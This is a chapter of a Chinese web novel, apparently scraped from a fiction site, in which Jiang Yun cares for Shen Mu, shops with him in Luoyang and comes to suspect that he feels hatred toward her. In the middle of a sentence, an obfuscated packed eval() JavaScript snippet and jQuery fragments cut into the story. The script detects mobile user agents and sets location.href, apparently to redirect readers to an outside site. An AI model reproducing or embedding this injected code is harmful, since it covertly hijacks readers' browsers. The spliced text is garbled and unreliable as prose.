“咚咚咚!”三叩房门,沈暮才开了门。
姜妘端着清粥小菜,浅笑道:“沈郎君,吃饭了。”
沈暮的目光落在她的脸上,愣了愣,片刻后,方才落在那吃食上,只呆呆看着。
“锅坏了,我只炒了个青菜,不过你伤刚好,也该吃清淡些。”她说着就进了屋,将吃食放置窗前,招呼道,“快来尝尝,这还是我第一次做饭。”
沈暮说不上感动,就觉着心头空唠唠的,尝了一口那清粥小菜,竟莫名味道不错,遂有些惊喜。
姜妘只眼巴巴看着他吃,也不言语,气氛安静却也尴尬。
终是沈暮率先开了口:“姜娘子不吃吗?”
姜妘摇摇头:“我只拿了一副碗筷,再者就一个菜,也只够你一个人吃,沈郎君觉得味道如何?”
她总是如此,说话真实,甚至都不愿意说一些好话来敷衍安慰他,譬如“我吃过了”之类。
沈暮心底一沉,轻声道:“还不错。”
姜妘心中欢喜,愈发觉得自己在厨艺方面还算有些天赋:“那晚上我煮一些腊八粥,虽然腊八已过,但你应当还没吃过吧?我待会儿去城里买些食材。”
她语气温润,沈暮听后也只是浅浅地点了点头,发出了极其细微的一声“嗯”。
姜妘心情大好:“你可还有什么想吃的?我去一并买了来。”
沈暮低头吃菜,闻言一顿,愣了愣后,终究是问出了口:“你为何不带我回姜家?是因为我上不得台面吗?”
“……”姜妘懵了,抬眼时只瞧见那人闷闷不乐,好似受了天大的委屈,她眼皮一跳,慌忙解释:“不是我不带你回姜家,是因为我现在也不能回去。”
“为何?”沈暮皱眉似有不解。
姜妘眉头一沉,心道总不能同你说现在有两个姜妘吧?她思索片刻后,随意编撰了个理由:“是因为……因为我花了家里太多钱!长辈们肯定要责罚我,所以我不敢回去。再说这里不好吗?就只有你我两个人,你难道不想和我呆在一起?”
一番反问,竟成功将沈暮唬住,他似有些无措,脸上红晕到了耳朵根,支支吾吾半天才化成一句:“这里很好,我很喜欢。”
姜妘闻言,可算是松了口气:“那你先休息,我去城里买东西了。”
她收了碗筷就要走,怎料被一把握住手腕。
姜妘秀眉轻挑,不解地问道:“沈郎君还有何事?”
沈暮目光躲闪,又是支支吾吾:“天色不早了,姜娘子一个人进城恐不安全,我陪娘子一道去吧。”
“原来你担心这个?”姜妘浅笑的双眸之中满是安抚,“没事的,你放心吧,还没有什人能伤得了我,倒是你,软筋散的药效要五日才解,你还是在这里好好休息吧,我很快就回来了。”
她都如此说了,原以为沈暮也该放弃了,却不曾想那人倔得如头驴,竟道:“姜娘子难道是嫌弃我了,不想和我呆在一起吗?”
“……”这语气学得也太像了吧?
姜妘第一次举着沈暮不仅犟,偏执,还是个妥妥的男绿茶。
“姜娘子?你是不是嫌弃我了?”
她原想再次拒绝,偏那沈暮一再发问,观其模样,大有不达目的誓不罢休之意,这人莫不是还是个腹黑的?果真是匹装乖的狼。
姜妘暗自吐槽,但最终还是点头同意了。
于是乎,两人一伞乔装打扮了一番,悄咪咪进了城。
苍穹虽已迟暮,但城内依旧人群熙攘,市井百姓吆喝声不绝于耳,热闹得万人空巷。
洛阳城姜妘不常逛,一年时光,她皆在疯狂出任务,哪里还能得闲,去欣赏千年古都之繁华。
正因此,她才恍若无头苍蝇般在城里乱晃,最后还得靠沈暮领着去了家米行。
“红豆、糯米、花生、红枣、莲子……还有什么来着?”姜妘未煮过腊八粥,也不曾尝过,只远远瞧过一眼,对食材自然陌生,问沈暮时,那人竟早已装好了所以食材,动作快到姜妘都惊呆了。
“这就选好了?”姜妘踮着脚,往沈暮怀中抱着的一大袋东西里头瞧。
“选好了。”沈暮下意识地放低了纸袋,“掌柜说总共五钱。”
姜妘掏了几枚碎银,又道:“我还要买些米面,掌柜的,剩下的钱你帮我各称一些。”
“好咧!”掌柜手脚麻利地称了两袋米面,递给沈暮。
二人离开米行时,星斗渐明,花市华灯如昼,姜妘顺带买了几枝腊梅。
“再过二十日便是除夕,不如我们去置办几件新衣裳吧?”
“嗯?”
沈暮还未回神,便被姜妘一把拽住,欢欢喜喜地跑进了一家成衣铺子。
掌柜见来了客人,忙迎上笑脸:“两位客官想要些什么款式的?我这儿应有尽有!”
姜妘指着满手大包小包的沈暮道:“掌柜娘子,麻烦你给他挑些衣服,要保暖些的,材质好些的,款式也要好看。”
掌柜娘子纵横商场数十载,察言观色早已是一绝,乍一瞧面前二人般配的模样,顿时喜笑颜开:“包在我身上,保证将小娘子您这美貌夫君打扮的英俊潇洒!”
姜妘慌忙解释:“掌柜的误会了,他不是我夫君,他是我的……”
“懂懂懂,心上人对不对?”
“也不是……”
“难道是,入幕之宾?”
“不是……”
“那是……”掌柜娘子眼都亮了,小声问道,“男宠?”
“这娘子真有想象力!”须回的声音又冒了出来。
姜妘简直无地自容,眼见着辩解无望,便索性闭嘴,沈暮那哑巴似得家伙更是指望不上,一句话也不曾解释。
“还是去试衣服吧。”姜妘头疼极了。
沈暮拿着一堆衣裳进了里间,那掌柜娘子眼光果真不错,每一件都合身极了,姜妘大手一挥,直接全都买下了。
掌柜娘子脸都笑僵了,问道:“小娘子不给自己买几件新衣吗?”
姜妘却道:“我不用,不过你们这可以定制衣裳吗?”
“自然是可以的!小娘子可是要做过年的新衣?我们这恰好到了两匹上好的料子,娘子要不看看?”
“好。”姜妘又定制了两件衣裳,还挑了块上好的布料,定做了一个伞袋。
洛阳长街上,二人拎着一大堆物品,慢吞吞出了城,路过一糖葫芦小贩时,还顺手买了两串。
“沈暮,你爱吃糖葫芦吗?”
沈暮摇摇头,姜妘又道:“其实我也不爱吃,之前就是因为贪吃被人算计了,不过这个味道确实不错,你要不要尝尝?”
她口中说着不爱吃,嘴里却已然塞了颗糖葫芦进去,脸颊鼓鼓的,像只兔子。
瞧着那伸到眼前的糖葫芦,沈暮还是接下了,咬了一颗,味道果真不错。
“我没骗你吧?”姜妘看向沈暮的目光多了些许认真,“沈暮,我从不骗人。”
她从未用如此的目光看他,可沈暮就像是听不懂她所言为何,只愣愣地瞧着她的脸。
寒风掠过,天边又落雪了,姜妘方挪开眼,又是那副开朗模样。
“我对你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941460|177371||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们的食物真是充满了好奇。”
“嗯?”这话转得太快,沈暮没明白。
姜妘囫囵吃着糖葫芦,又说了些什么,话音模糊,沈暮听得真切却又云里雾里,不懂那话中描述。
她说:“我小时候都是打营养剂长大的,我们那个时候植物是很稀有的,要依靠他们来产生自然氧气,所以是禁止食用的。而肉食动物又几近灭绝,名字全都写在了刑法里。”
何为营养液?何为氧气?何为刑法?
沈暮一字都听不明白,好在姜妘也并未打算继续这个话题,二人一路并排走着,慢悠悠往家里去。
姜家别院平日里只有一个管家,前几日回乡探亲,年关后才归,姜妘这才带沈暮直接在院子里住了下,计划着等过了年,再带他四处游历,增进增进彼此感情。
腊八粥熬好,已是深夜,姜妘浅尝一口后,深觉味道极美,便开开心心去寻沈暮。
房门虚掩着,轻轻一推便开了。
“沈郎君,来尝尝腊八粥!”
一言已毕,却未有回音,姜妘这才发觉那人竟趴在桌上睡着了,窗外寒风呼啸,窗户却大开着,飞雪飘了进来,落在那枝红色腊梅花上,好在炭火烧得通红,倒也不算冷。
姜妘伸手关上了窗,取过一件厚衣,盖在了沈暮身上。
“谁!”沈暮骤然惊醒,一把捏住姜妘左手手腕,起身时猛得一带,竟打翻了桌上那碗腊八粥。
“小心!”姜妘右手牵住沈暮的手腕,反手一带,二人稳稳落于半寸之外,而那碎裂瓷片所溅之处,正是沈暮方才所在之地。
沈暮怔住了,那双如狼崽子般警惕的眸子逐渐平静,这才意识到自己捏着姜妘的手,忙松了开。
“你这力气是恢复了吗?”姜妘揉着泛红的手腕,轻声问他。
沈暮点了点头,似有愧疚。
怎料姜妘忽得踮起脚尖,努力伸出手去,摸了摸他的头,像是安抚小孩子般:“你力气恢复了真是太好了,以后就不用老吃药了,吃药很苦的。”
沈暮脸上泛起大片红晕,低着头不敢看姜妘。
“哇!小姜水,你还敢说你没谈过恋爱?你这撩人的手段,都快把沈暮撩成傻子了!”须回趴在那墙外偷听,眼前一幕幕简直令他目瞪口呆。
姜妘却并不理他,只同沈暮道:“我再去盛一碗来,你且等我片刻。”
“我去吧,姜娘子。”言罢,沈暮就快步走了出去,身影没进了厨房。
须回蹑手蹑脚地飘了进来,立在姜妘眼前,又是一身惊呼:“小姜水,我们是不是马上要成功了!你看你多会爱人呀!我都要羡慕沈暮那小崽子了!”
“他不对劲。”
“啊?”须回一脸困顿,“小姜水你说什么呢?谁不对劲?那个沈暮吗?”
姜妘远远盯着院子里那颗梅花树,树旁厨房内,修长的身影正忙忙碌碌,捣鼓着两碗腊八粥。
须回眼睛倏得瞪大,心里一紧:“他往里面放啥呢?不会又下毒吧?”
“那是糖。”姜妘道。
须回松了口气:“那是糖啊,吓死本伞了,我还以为他又要下毒呢!这么一看他也没做什么呀?怎么就不对劲了?”
姜妘若有所思,直到沈暮走出了厨房,方才说道:“他对姜妘根本不是爱。”
“啊?不是爱是什么?”须回越听越糊涂了。
姜妘未言,那厢沈暮已然端着两碗腊八粥,信步而来,二人四目相对时,姜妘眼底又只余温和的笑意,再无任何探究。
只默声同须回道:“是恨。”